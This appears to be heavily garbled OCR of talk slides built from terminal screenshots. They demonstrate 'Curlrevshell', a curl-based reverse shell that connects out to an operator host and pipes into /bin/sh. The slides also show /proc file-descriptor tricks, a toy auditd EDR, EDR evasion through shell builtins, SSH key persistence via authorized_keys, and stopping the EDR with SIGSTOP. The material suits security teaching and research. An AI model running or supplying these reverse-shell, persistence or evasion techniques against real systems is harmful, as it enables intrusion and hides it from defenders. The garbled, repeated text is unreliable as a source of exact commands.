| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]

S
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Turtles are connected by pipes and file descriptors

LR Ops - Curlrevshell
wurzal 477133 8.9 1.3 94148 11196 7 5 12:14  8:00 S curl -sk --pinnedpubkey sha2$6//CkYWazy
hatRPIVIMSTIXNp FMSXNAVE 7Bas L RHPCDZ0T= https:/fops . not-hdu, Lol 4dad /1 IkwiBebaiTg -N
wurzel 477134 9.0 9.1 2584 BA4 7 5114 0:0R O /binssh
worzel 477138 9.8 0.8 ES4R 4200 7 R 1814 0:80 | ' ps owewfux
wurzel 477135 9.0 2.6 94006 12200 ¥ 5 1814 e N cwrl -K- something-normal . com
KN Ops - Curlrevshell

:u'lr;l-lmt:mrze'l} gid=180@(wurzel) groups=108@wurzel)

—d wmarzel murzel
v 1 werzel murzel
. == 1 warzel murzel

ene Don the Sysadmin

:~% sudo sh -¢ "echo id >>/proc/477133/fd 1" o Sep
it=% sudo sh -c "echo "Cowabunga!l!" =>/proc/477135/Fd/3" | sl mureel 64 Sen
G Lep

‘1 marrel murzel
foroc/aTTIIS/ fd:
| tokal @

B Ops - Curlrevshall T
=i =1 Y
| 5 Fde /Tl Adev/Fd/E SdeviFde2 N
= fproc/ATTIEAAE N
. fprecdSEofd
fproc/ATT135 fd |
|Lr-:|------ 1 warzel murzel G4 Sep 10 18:22 /dew/'fdR -» pige:[2355726]
| Low——==— 1 wasrzel murzel 64 Sep 1B 18:22 Sdevw/fd/l -» pipe:[2388727] |
T SRR 1 wurzal murzel 64 Sep 1D 1822 Adev/Tdsl -> pipe;[2355727] |
e A T 1
TE
ill.ru‘l. murzel G4 Sep 18 18:22 @ -» Sdewsnull
| warzel murzel 64 Sep 10 18022 1 -» pipe:[2355726]
[wurzol murzel 64 Sep 100 18027 2 - fdevinull
64 Sep 10 18:22 3 -> socket: [Z3557M4]
o4 Sep 10 18:22 4 -» socket![Z355735]
G4 Sep 10 18:22 5 -» sochet; [Z3557]
x3
!lnll‘l:al marzel 1B 18:2F @ -» pipe:[I355726]
10 18:22 1 -» pipe:[2355727]
1B 18:22 2 -» pipe: [235572T)
=ilr-:| ------ 1 wmerzel murzel 64 Sep 10 18:22 @ -» pipe: [2355728]
| L-#pi=e==== 1 warzel murzel 64 Sen 10 18:22 1 -» Adewinull
| Lewtemeens 1 warzel murzel 64 Sop 10 18:2F 2 - Sdewsnull
T — 1 wurzal murzel 64 Sep DD 18114 3 - pipe: [$3557E7)
{ Ar=g--mmes 1 marzel mrzel 64 Sep 10 1822 4 -> pipe: [2355727]
| Urwi--——-- 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XFA55M43]
| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

eve Ops - Curlrevshell a1 (006 Sl B i cinatd =
| » 15 -1 %
wurzal 477133 0.0 2,3 94148 11196 7 5 12:14 @M N curl -sk --pinnedpubkey sha2S6//CkYWazy > : FoendTUsB SdevsFdid ddewsFds2
hatRPIVIMSTIXp NS XNOVE TBas IRHPCOZ 0= https:/fops.not-hdx, ol 444471 /34kwiBcbadi7g -N > ApreC/ATTIA3 d
wurzel 477134 9.0 B.1  Z5E4  BEs 7 5 19:14  0:00 O /binssh g ;::z:%;ﬁ
wurzel 477138 9.0 @.8 E54B 4200 7 R 18:14  @:00 | S ps owewfux 4 :
- = | Lresereems 1 marzel murzel 64 Sep 180 18:22 Jdew/fd/® -» pige:[Z3S5726] |
L 4771355 8.8 2. 18:14 980 S\ curl K- something-normal.cos (TRt 1 asrzel mirzel 64 Sop 18 10:22 fdew/FdL -» pipe-[235S727] |
| Lotnmnana 1 wurzal murzel 64 Sep 1D 1822 Adev/Tdsl -> pipe;[2355727] |
— — - — — — M-.—mwfd:
KN Ops - Curlrevshell TRl
| Cwarzel murzel 64 Sep 18 18:22 § -» Sdevinull
- uid=100@(wurzel) gid=1888(wurzel) groups=108807wurzel) | orzel murzel 54 Sep 10 18022 1 -» pipe:[2355726]
| [wsrzal murzel 68 Sep 100 18122 2 o= Sdewinull
1 A wisrzel murzel 64 Sem 10 18:27 3 > sochet: [F355734]
1 werzel murzel G4 Sep 10 18:22 4 -» socket![Z355735]
== 1 wisrzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]

ese Don the Sysadmin s

:~% sudo sh -¢ "echo id >>/proc/477133/fd 1" | i oy
| dortvicting=$ sudo sh -c ‘echo “Comabunga!}l® >>/proc/d77135/F0/3" e et 4 o
(]

|§, warrel murrel

-= pipe:[2355727]
=» pipe: [235572T]

Aproc/aTTIIS F:
tatal @

_'|1|‘-:|------ 1 wmereel murzel e -= pipe: [2355728]
1-#pi===em= 1 warzel murzel =» Soewinull

| leweemens 1 warze]l murrel 64 == Soemull

| Ipepeacans 1 wurzel murzel 68 Sep 3 =» pipe: [$3557E7)

{ Ir-g--mmes 1 marzel mirzel 64 Sep 10 1 4 -> pipe: [2355727]

| Uewi--——-- 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XA55M43]
| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

LR Ops - Curlrevshell
wurzal 477133 8.9 1.3 94148 11196 7 5 12:14  8:00 S curl -sk --pinnedpubkey sha2$6//CkYWazy
hatRPIVIMSTIXNp FMSXNAVE 7Bas L RHPCDZ0T= https:/fops . not-hdu, Lol 4dad /1 IkwiBebaiTg -N
wurzel 477134 9.0 9.1 2584 BA4 7 5114 0:0R O /binssh
worzel 477138 9.8 0.8 ES4R 4200 7 R 1814 0:80 | ' ps owewfux
wurzel 477135 9.0 2.6 94006 12200 ¥ 5 1814 e N cwrl -K- something-normal . com
KN Ops - Curlrevshell

Iu'lr;l-lmt:mrze'l} gid=180@(wurzel) groups=108@wurzel)

| Cowabunga! ! !

—d wmarzel murzel
v 1 werzel murzel
. == 1 warzel murzel

ene Don the Sysadmin

:~% sudo sh -¢ "echo id >>/proc/477133/fd 1" o Sep
it=% sudo sh -c "echo "Cowabunga!l!" =>/proc/477135/Fd/3" | sl mureel 64 Sen
G Lep

‘1 marrel murzel
foroc/aTTIIS/ fd:
| tokal @

B Ops - Curlrevshall T
=i =1 Y
| 5 Fde /Tl Adev/Fd/E SdeviFde2 N
= fproc/ATTIEAAE N
. fprecdSEofd
fproc/ATT135 fd |
|Lr-:|------ 1 warzel murzel G4 Sep 10 18:22 /dew/'fdR -» pige:[2355726]
| Low——==— 1 wasrzel murzel 64 Sep 1B 18:22 Sdevw/fd/l -» pipe:[2388727] |
T SRR 1 wurzal murzel 64 Sep 1D 1822 Adev/Tdsl -> pipe;[2355727] |
e A T 1
TE
ill.ru‘l. murzel G4 Sep 18 18:22 @ -» Sdewsnull
| warzel murzel 64 Sep 10 18022 1 -» pipe:[2355726]
[wurzol murzel 64 Sep 100 18127 2 -5 fdevinull
64 Sep 10 18:22 3 -> socket: [Z3557M4]
o4 Sep 10 18:22 4 -» socket![Z355735]
G4 Sep 10 18:22 5 -» sochet; [Z3557]
x3
!lnll‘l:al marzel 1B 18:2F @ -» pipe:[I355726]
10 18:22 1 -» pipe:[2355727]
1B 18:22 2 -» pipe: [235572T)
=ilr-:| ------ 1 wmerzel murzel 64 Sep 10 18:22 @ -» pipe: [2355728]
| L-#pi=e==== 1 warzel murzel 64 Sen 10 18:22 1 -» Adewinull
| Lewtemeens 1 warzel murzel 64 Sop 10 18:2F 2 - Sdewsnull
T — 1 wurzal murzel 64 Sep DD 18114 3 - pipe: [$3557E7)
{ Ar=g--mmes 1 marzel mrzel 64 Sep 10 1822 4 -> pipe: [2355727]
| Urwi--——-- 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XFA55M43]
| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

@& Ops - Curlrevshell

wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry
htRPIV M TIXp JMSINIVE Bas I RHPCDZ01= https:/Fops . not-hdu, Lol ; 4ddd f1 F3dkwiBcbed i 7g -N

e T

wurzal 477134 8.9 8.1 2584 B84 7 5 19:14 R N Sbundsh
wurzel 477138 8.8 9.8 549 4200 7 R 18:14 a:ea | Y ps o fux
wurzel 477135 2.9 2.6 04006 17780 T 5 19:14  8:80 N cwrl -K- something-normal .cos

[ ] & Ops - Curlrevshell

uid=180@ wurzel) gid=1008(wurzel]) groups=108@(wurzel)
Cowabunga! ! !

Y

E ] & Don the Sysadmin

i-4 sudo sh -¢ "echo 1d >>/proc/477133/fd/1"

.

:~% sudo sh -c "echo "Cowabunga!l!" =>/proc/477135/Fd/3" x,d

-] ] Ops - Curlrevshall K
iz -1 %
Fdewd Td/W Adew/Pd/E Sdevs/ P2 N
SproC AT A N
Apressi ot
fproc/4TTLAS
Lr=g====== 1 warrel murzel & Seo 18 18:27 /dew/'FdQ -» pipe:[2355726]
1w = 1 wrzel murzel 64 Sep 18 18:22 Jdews/Fd/1l -» pipe:[2185727]
L = 1 wurzal murzel 64 Sep DD 180223 Adews/fdl2 -> pipe;[Z355727]
fnin FETTUT Y
TEl
warrel murzel G4 Sep 18 18:22 @ - Sdewsnull
warzel murzel 64 Sep 10 18022 1 -» pipe: [2355726)
warrol suirzel 68 Sap 10 18023 2 -x Sdesnil )
meed Mzl murzel 64 Sep 10 18022 3 o> sochket: [Z3557M]
mirzel 64 Sep 10 1822 4 -» socket! [Z355735]
Trwss=ea=- 1 warrel murzel 64 Sep 10 18:22 5 -» socket; [Z355754]
He |,
cel murzel 64 Sep 10 18:2F @ -» pipe:[235572E]
mirgel 64 Sep 1B 18:22 1 -» pipe:[2355727]
Aeeste=r==- 1 warrel murrel 64 Sen 18 18:22 2 - pipe: [2388727)
fproc/4TTIIS fd
tokal @
Lr-g==-—-- 1 warzel murzel 64 Sep 10 1822 @ -» pipe: [2355728]
L-wa=====e 1 wiarrel murzel 64 S 10 18:22 1 -» Sdewrnull
- 1 wwrzel murzel &8 Sep I8 18 2F 2 -» Sdewinull
lr=u 1 warzel murzel 64 Sep I0 18034 3 -» pips: [2355727]
Ip=g-=esss ]| wmarpe]l mirgel 64 Sep 1B 1012 & - pips: [2355727]
Lrwg-—-—-- 1 werzel murzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
Lrws==-=-— 1 wasrze]l wmurzel &4 Seo 10 18:2F & -» sochet: [X355T43]
b s = 1 warzel murzel G4 Sep 1B 18:22 7 -» socket:[2355755]
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Curlrevshell - Turtle Power!




Aside: OpenBSD's ktrace(1)

-] 2 Ops - ktrace(l) TH2

¥ ktroce -1



Aside: OpenBSD's ktrace(1)

-] a Ops - ktrace{1) TH2

[vtuortops, not-hlx. lol tuart]
% ktroce -1 bash -c "exec -a notcwrl curl -5 FILE:///dev/fd/3 J</etc/mynoms | &r o-z A-2'
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Aside: OpenBSD's ktrace(1)

» a Ops - ktrace{1) TH2
Lstuort®aps, not-hdx . Llal t t]

% ktroce -1 bash -c "exec -a notcwrl curl -5 FILE:///dev/fd/3 J</etc/mynoms | &r o-z A-2'
OP% NOT -H4X. LOL

12
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Aside: OpenBSD's ktrace(1)

e 8 Ops - kirace(1) A
[stuort®ops, not-hix . 1ol t k]

% ktroce -1 bash -c "exec -a notcwrl curl -5 FILE:///dev/fd/3 J</etc/mynoms | &r o-z A-2'
OP%5 NOT -H4X. LOL

[stuart®ops  not-hix, Lol t k]

§ kdump
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Aside: OpenBSD's ktrace(1)

L @ Ops - ktrace(1) B F

Lstuort®aps, not-hdx . Lol ; Thomes st n;Jr'J

% ktroce -1 bash -c "exec -a notcwrl curl -5 FILE:///dev/fd/3 J</etc/mynoms | &r o-z A-2'
OPSNOT -H4M. LOL

[stuort®ops  not-hix. Lol ; Mosestoart]

§ kdump

65495 ktroce RET  ktroce @

65495 ktroce CALL mmap(@, Bx88 , Bx3-PROT_READ I PROT_NRITE= , 8w 1082<MAP_PRIVATE | MAP_ANON= , -1,0)
65495 ktroce RET  mmap 1751945646800/ Dxfef 18Tacbod

65495 ktroce CALL  execve(@x™debchBRETD, @x7ODebc 5087, B MIebo SB8eHE )

65495 ktroce  MAMI  "/home/stuart/bin/bash”

65405 ktroce RET  execve -1 errmo 2 No such file or directory
e "
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Aside:

OpenBSD's ktrace(1)

Ops - ktrace(l) TR2

[stuortfops, not-hlx .
% ktroce -1 bash -c

lol: fomesat uurr]

‘exec -a notcurl curl -5 FILE:///dev/fd/3 J</etc/mynoms | kr o-z A-2'
Lol Mme s tuart]

ktroce @

mrap(@, Bx88 , Bx3-PROT_READ I PROT_NRITE= , 1082 <MAP_PRIVATE | MAP_ANON= , -1,0)
mmap 1751945646800, Bx fef IRTaaled

execve( B odebc SBBETD, BuTOPebe SOBETS, BxTO0ebc 58208

" homes stuart/bin/bash"

execve -1 errno 2 No such file or directory

Ops - ktrace(1) a2
write(l,Oxlbote fd2000, x10) '
fd 1 wrote 16 bytes

write 1l6/8x1@
fd @ reod 16 bytes

OP% WOT -H4X. LOL
[stuart@ops not-hix.
§ kdump
65495 ktroce  RET
65495 ktroce CALL
65495 ktroce  RET
65495 ktrace CALL
65495 ktroce  MAML

| 05405 ktroce RET
[ BN ]
Be428 curl CALL
86428 curl GIO

“ops.nat-hdx . Lol

Be428 curl RET
B62E4 tr GID

“ops,not-hdx. Lol

. BEZE4 tr

RET

read 16/«18
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Aside: OpenBSD's ktrace(1)

L BN ] Ops - ktrace(1) s ]

[stuortPops, not-hix . Lol fomestuart]
% ktroce -1 bash -c "exec -a notcwrl curl -5 FILE:///dev/fd/3 J</etc/mynoms | &r o-z A-2'
0P NOT -H4X. LOL
[stuart@ops, not-hix. Lol ; Mome/stuart]
§ kdump
65495 ktroce RET  kbroce @
65495 ktroce CALL  mmap(@, GxEE , Bu3-PROT_READ | PROT_NRITE:= , Sw 1082 <MAP_PRIVATE | MAP _ANDN= , -1, 80
65495 ktroce RET  mmap 1751945646800/ Dxfef 18Tacbod
85495 ktroce CALL  execve(BxMS@ebcS08870, 0708 508e7E  Ba MI0ebo SR80 )
65495 ktroce  MAMI  "/homesstuort/bindbash”
| 65405 ktroce RET  execve -1 errmo 2 Mo such file or directory

/aee Ops - ktrace[1) TK2
[stuart@ops not-hdx. lol @ fhomed s tsert ]
3 kdump -tx
065435 ktroce  ARGS

[@] = “bash™

o = “-c"

[2] = "exec -a notewrl curl -& FILE:///dev/fd/3 Jc/etc/myname | tr o-2 A-2"
E5428 bash BRGS

@ = “motcurl”

1] = ="

[2] = "FILE:///deviFds3”
86284 bash BRGS
o] = “tr*
(1] = “a-z"
[2] = "A-2"

[ BN ] Ops - ktrace(1) rH2
 B6428 curl  CALL write[l,OxBbadefdle0e,@xldy
86428 curl GI0  fd 1 wrote 16 bytes
“ops nat-hdx. 1ol

Be428 curl RET write l6/8x1@
B62E4 tr GID fd @ reod 16 bytes
“aps.not-tdx. Lol

| BEZEA tr RET  read 16/@1@
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perl -ne 's/.*proctitle=\"(.*)\"/\1/]|
s/.*proctitle=(.*)/pack"H*",S1/e||s/.*//s;s

/\@/ /g;’

& [

root 298135
wurzel 383351
wurzel 388352
root 329738
root 329736

4

Code: github.com/magisterquis/procrastinationedr

-~~~ -~ -~
e O

/var/log/audit/audit.log

8.8 13132
1.7 18936 2104
8.7 168772 3470
8.4 1227008 23lo

8.1

2944

412

b4

=l g Al e G

S<sl Sepdt
S5 Sepbb
5 Sepbb
51 Sep@?
S Sep@7?

ah

Ops - Curlrevshell T®l

8:85 ssbinsouditd

2:00 Slib/systemd/systemd --user

8:80 “_ (sd-pam)

@8:82 /fusr/local/sbin/procrastinationedr -log /var/log/procrastinationedr.log
@:08¢ “_ toil --follow=name --silent Avar/log/oudit/oudit.log
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Regex in a trenchcoat

& & Ope - Curlrevshall

tail -n 4 Svar/log/procrastinationedr.log

@ @
root £98135 0.0 9.8 13132
wurzel 3288351 @.0 1.7 18%6 |
wurzel 388352 0.9 8.7 168772 |
root 329738 0.9 8.4 122700 |
root 329736 0.8 8.1 2944

= |

4

Code: github.com/magisterquis/procrastinationedr

TR

w1l

log /var/log/procrastinationedr. log
Ylog/oudit/audit. log

F—‘
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That's the whole thing, EDR with no response actions

root 298135
wurzel 383351
wurzel 388352
root 329738
root 329736

4

Code: github.com/magisterquis/procrastinationedr

-~~~ -~ -~
e O

2.2 13132
1.7 18936
8.7 168772
8.4 1227008 |

8.1

2044

—-'1

-] & Ops - Curlrevshell TR

tail -n 4 Avar/log/procrastinationedr.log
2825/09/18 10:24:08 5 sh -c echo id >>/proc/477133/fd/1
2825709710 10:24:08 5 id
2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
2825/09/18 18:24:18 5 sh -c echo "Cowabungal !1" >>/proc/477135/Fd/3

w1l

log /var/log/procrastinationedr. log
Ylog/oudit/audit. log

F—‘
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ed(1)

®0e Ops - Curlrevshell 1

> ed .ssh/authorized_keys
95

N

ssh-ed25519 AAAAC3NzaC1lZDIINTESAAAATI@2ZABjz1pI3YsL1/zIHOCR/W7ZIxUb74MIrEMLPinI wurzel@victim
a
ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAICBxUc9203DFCt8Tjb1IL8k8ZVEj1zI3v@xv(3gbluLf wurzel@victim

,n
ssh-ed25519 AAAAC3NzaCllZDIINTESAAAAIIOZZABjz1pI3YsL1l/zIHOCR/W7ZIxUb74MIrEMLPinI wurzel@victim
ssh-ed25519 AAAAC3NzaCl1ZDIINTESAAAAICBxUc9203DFCtBTjbl1IL8kBZVEj1zI3v@xv(3gbUuLf wurzel@yictim

¥ M2 Y ¥V ¥V V =2 Y

wg

8
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log
2825/09/18 10:24:08 5 sh -c echo id >>/proc/477133/fd/1
£825/09/10 19:24:00 5 id
2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2825/09/18 18:24:18 5 sh -c echo "Cowabungal 1" >>/proc/477135/fd/3 i
eve ' X1
root 298135 9.6 0.8 13132
wurzel 328351 @.@ 1.7 18936 |
wurzel 398352 0.9 9.7 168772 |
| root 329730 0.0 9.4 1227000 | deg /var/log/procrastinationedr.log
root 329736 0.9 9.1 7944 Wlog/oudit/audit.log

B Pt
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log
2825/09/18 10:24:08 5 sh -c echo id >>/proc/477133/fd/1
£825/09/10 19:24:00 5 id
2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2825/09/18 18:24:18 5 sh -c echo “"Cowabungal 1" »>>/proc/477135/fd/3 i
ene | = which id echo type which | Tl
root 298135 9.6 0.8 13132
wurzel 328351 @.@ 1.7 18936 |
wurzel 398352 0.9 9.7 168772 |
| root 329730 0.0 9.4 1227000 | deg /var/log/procrastinationedr.log
root 329736 0.9 9.1 7944 Wlog/oudit/audit.log

B Pt
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

root 298135
wurzel 328351
wurzel 388352
| root 329730
root 329736

9.0
8.8
8.8
0.0
8.8

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2825/09/18 10:24:08 5 sh -c echo id >>/proc/477133/fd/1

£825/09/10 19:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2825/09/18 18:24:18 5 sh -c echo “"Cowabungal 1" »>>/proc/477135/fd/3 i
| = which id echo type which | Tl
/usr/bindid | - -
0.8 13132  fusr/binfecho

1.7 18936 | usr/binfwhich

8.7 168772 |
9.4 1227008 | log /var/log/procrastinationedr. log
9.1 2944 Wlog/oudit/audit.log

B Pt

138



* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2025/00/18 10:24:00 5 sh -c echo id >>/proc/477133/fd/1

2025/00/19 10:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal!!" >=/proc/477135/Fd/3

e e | = which id echo type which | <31
3 fusr/binsid _ -
root 298135 9.0 0.8 13132  /usr/binfecho

wurzel 328351 0.8 1.7 18936 | Jusr/bindwhich

wurzel 388352 0.2 9.7 168772 |- type id echo type which

| root 329730 0.0 9.4 1227008 | eg /var/log/procrastinationedr.log
root 329736 0.9 9.1 7944 Wlog/oudit/audit.log

B Pt
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2025/00/18 10:24:00 5 sh -c echo id >>/proc/477133/fd/1

2025/00/19 10:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal!!" >=/proc/477135/Fd/3

e e | = which id echo type which | <31
3 fusr/binsid _ -
root 298135 9.0 0.8 13132  /usr/binfecho

wurzel 328351 0.8 1.7 18936 | Jusr/bindwhich

wurzel 388352 0.2 9.7 168772 |- type id echo type which

| root 329730 @.@ 9.4 1227009 ; 1d 15 a trocked dlias for /usr/bin/id deog /var/log/procrastinationedr.log
root 329736 0.0 0.1 2044 °cho is o shell builtin Wlog/audit/audit . log

type iz a shell builtin
1 which is o tracked alias for fusr/bin/which ’
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2025/00/18 10:24:00 5 sh -c echo id >>/proc/477133/fd/1

2025/00/19 10:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal!!" >=/proc/477135/Fd/3

e e | = which id echo type which | <31
3 fusr/binsid _ -
root 298135 9.0 0.8 13132  /usr/binfecho

wurzel 328351 0.8 1.7 18936 | Jusr/bindwhich

wurzel 388352 0.2 9.7 168772 |- type id echo type which

| root 329730 @.@ 9.4 1227009 ; 1d 15 a trocked dlias for /usr/bin/id deog /var/log/procrastinationedr.log
root 329736 0.0 0.1 2044 °cho is o shell builtin Wlog/audit/audit . log

type iz a shell builtin
1 which is o tracked alias for fusr/bin/which ’
» echo “This is invisible to EDRY

This is invisible to EOR
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2025/00/18 10:24:00 5 sh -c echo id >>/proc/477133/fd/1

2025/00/19 10:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal!!" >=/proc/477135/Fd/3

e e | = which id echo type which | <31
3 fusr/binsid _ -
root 298135 9.0 0.8 13132  /usr/binfecho

wurzel 328351 0.8 1.7 18936 | Jusr/bindwhich

wurzel 388352 0.2 9.7 168772 |- type id echo type which

| root 329730 @.@ 9.4 1227009 ; 1d 15 a trocked dlias for /usr/bin/id deog /var/log/procrastinationedr.log
root 329736 0.0 0.1 2044 °cho is o shell builtin Wlog/audit/audit . log

type iz a shell builtin

1 which is o tracked alias for fusr/bin/which ’
» echo “This is invisible to EDRY
This is invisible to EDR

» finfecho “This is vistble to EOR™
This is visible to EDR
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* Thes slatement not endorsed by,

The Blue Team's favorite* syscall: execve(2)

] & Ops = Curlrevshell Tl

= toil -n 4 Avar/log/procrastinationedr.log

2025/00/18 10:24:00 5 sh -c echo id >>/proc/477133/fd/1

2025/00/19 10:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3
| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal!!" >=/proc/477135/Fd/3

e e | = which id echo type which | <31
3 fusr/binsid _ -
root 298135 9.0 0.8 13132  /usr/binfecho

wurzel 328351 0.8 1.7 18936 | Jusr/bindwhich

wurzel 388352 0.2 9.7 168772 |- type id echo type which

| root 329730 @.@ 9.4 1227009 ; 1d 15 a trocked dlias for /usr/bin/id deog /var/log/procrastinationedr.log
root 329736 0.0 0.1 2044 °cho is o shell builtin Wlog/audit/audit . log

type iz a shell builtin
1 which is o tracked alias for fusr/bin/which ’
» echo “This is invisible to EDRY
This is invisible to EDR
» finfecho “This is vistble to EOR™

This is visible to EDR
= tail -n 4 Svar/log/procrostinationedr. log
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* _wall, anybody, really,

The Blue Team's favorite* syscall: execve(2)

ace

root 298135
wurzel 328351
wurzel 388352
| root 329730
root 329736

-] & Ops = Curlrevshell Tl

2 toil -n 4 Avar/log/procrastinationedr.log
2025/00/10 10:24:08 5 sh -c echo id >=/proc/477133/Fd/1
2825/09/10 18:24:00 5 id

2825/89/18 18:24:18 2 sudo sh -c echo "Cowmobunga!!!” »>/proc/477135/fd/3

| 2025/09/18 18:24:18 5 sh -c echo "Cowabungal !1" >=/proc/477135/Fd/3
> which id echo type which

/usr/bindid

2.8 2.8 13132 | /usr/binfecho

.8 1.7 18936 | /usr/bindwhich

0.0 9.7 168772 | > type id echo type which

0.0 9.4 122700@ | id 15 o tracked alios for fusr/bin/id

B.0 9.1 2044 echo 15 o shell builtin

= type iz a shell builtin
‘ which is o tracked alias for fusr/bin/which
» echo “This is invisible to EDRY

This is imvisible to EDR

» /binfecho “This is visible to EDR™

This is visible to EDR

= tail -n 4 Svar/log/procrostinationedr. log

2025/09/18 18:24:18 5 sh -¢ echo "Cowabunga!!!" >=/proc/477135/Fd/3
2825/89/18 18:26:11 5 tail -n 4 Svar/log/procrastinotionedr.log
£825/89/18 18:26:21 5 /binSsh Jusr/binswhich id echo type which

. 2825/99/10 18:26:41 5 /binfecho This is visible to EDR
T

wEl

log /var/log/procrastinationedr. log
Vlog/oudit/audit.log

o
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That's quite enough not
hacking for now

N is just N+1 with extra steps...

Commands
Shell Input

Programs
a. Shells are programs too

System Calls

Commands to the Kernel
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That's quite enough no

haCking fo tl;dr - We just want the  7Ms
rig'h_t "sys'ca"siﬁ the l"ight ells are programs too
order Calls

N is just N+1 wi

ands to the Kernel
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1] @ Ops - Curlrevshell TH1

Root -> SIGSTOP EDR
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1] @ Ops - Curlrevshell TH1
suda -al kill

Root -> SIGSTOP EDR fuse i/

149



1] @ Ops - Curlrevshell TH1
suda -al kill

Root -> SIGSTOP EDR
» toil -n 2 </vor/log/procrastinationedr.log
2025/09/10 18:26:51 5 taoil -n 4 /var/log/procrastinationedr.log
2025/09/10 10:27:32 ¢ sudo -nl kill
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